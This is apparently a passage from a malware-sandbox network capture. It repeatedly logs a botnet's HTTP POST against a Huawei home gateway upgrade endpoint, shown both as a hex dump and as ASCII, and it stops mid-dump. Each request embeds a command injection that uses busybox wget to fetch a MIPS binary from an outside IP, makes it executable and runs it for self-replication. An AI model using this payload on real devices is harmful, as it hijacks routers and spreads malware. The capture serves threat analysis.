65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 